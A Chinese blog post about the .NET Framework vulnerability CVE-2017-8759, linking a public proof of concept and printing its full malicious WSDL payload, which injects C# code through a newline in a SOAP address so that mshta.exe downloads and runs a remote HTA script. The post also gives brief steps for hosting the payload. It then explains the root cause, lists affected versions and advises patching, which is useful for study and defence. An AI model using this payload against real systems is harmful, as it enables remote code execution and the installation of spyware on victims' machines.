.NET最新漏洞CVE-2017-8759 POC已公布,大规模攻击即将来临

0?wx_fmt=png

图  世界范围内感染FinSpy 图(即漏洞利用导致下载的间谍程序)

前天微软刚补好的漏洞,昨天fireeye发文,然后各平台开始写报告

然而昨天在ISC大会,今天就看见poc被公布了

https://github.com/vysec/CVE-2017-8759

<definitions

xmlns="http://schemas.xmlsoap.org/wsdl/"

xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"

xmlns:suds="http://www.w3.org/2000/wsdl/suds"

xmlns:tns="http://schemas.microsoft.com/clr/ns/System"

xmlns:ns0="http://schemas.microsoft.com/clr/nsassem/Logo/Logo">

<portType name="PortType"/>

<binding name="Binding" type="tns:PortType">

<soap:binding transport="http://schemas.xmlsoap.org/soap/http"/>

<suds:class type="ns0:Image" rootType="MarshalByRefObject"></suds:class>

</binding>

<service name="Service">

<port name="Port" binding="tns:Binding">

<soap:address location="https://example.com?C:\Windows\System32\mshta.exe?https://example.com/cmd.jpg"/>

<soap:address location=";

if (System.AppDomain.CurrentDomain.GetData(_url.Split('?')[0]) == null) {

System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]);

System.AppDomain.CurrentDomain.SetData(_url.Split('?')[0], true);

} //"/>

</port>

</service>

</definitions>

把上面的报文放在服务器,样本请求该服务器,然后本地再加载dll就好了

本地放上那个github上面的bin文件

这个漏洞个人觉得很厉害,.NET框架每台机子基本都装着,内网的机子都不能更新的情况下,感觉目前网上居然对这个事情还觉得不是很严重的样子。。

https://www.youtube.com/watch?time_continue=1&v=hlkx5uYBT1Y

0?wx_fmt=png

可以看出多出来了两个文件,并且被执行

0?wx_fmt=png

原理就是黑客构造一个服务器,然后样本访问该服务器会返回xml

然后本地的.NET服务通过解析这个xml会触发漏洞,该漏洞是由于.NET当中有个代码文件对换形符没有做过过滤,从而导致可以用注释的方式把

在.net库中的SOAP WSDL 解析模块IsValidUrl函数没有正确处理包含回车换行符的情况,导致调用者函数PrintClientProxy存在代码注入执行漏洞。

0?wx_fmt=png

WSDL通过 PrintClientProxy函数去解析文件。当解析文件中包含多个地址时,会将后面的地址注释掉。然而IsValidUrl函数在验证URL时,并没有对换行符判断处理,导致后面可以插入任意代码。

0?wx_fmt=png

以下为解析后生成的代码。因为其中包含换行,导致后面的代码没有注释成功。

0?wx_fmt=png

最后通过csc.exe编译以上代码,在同目录下生成一个dll。之后Office会调用LoadLibrary加载该dll并执行。dll的功能是通过mshta.exe去执行链接指向的hta脚本文件。

0?wx_fmt=png

利用成功图

0?wx_fmt=png

影响范围也是巨大的

Microsoft .NET Framework 4.6.2 

Microsoft .NET Framework 4.6.1 

Microsoft .NET Framework 3.5.1 

Microsoft .NET Framework 4.7

Microsoft .NET Framework 4.6

Microsoft .NET Framework 4.5.2

Microsoft .NET Framework 3.5

Microsoft .NET Framework 2.0 SP2

更新系统,微软已经有补丁了的

走过路过给个关注,谢谢支持~

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值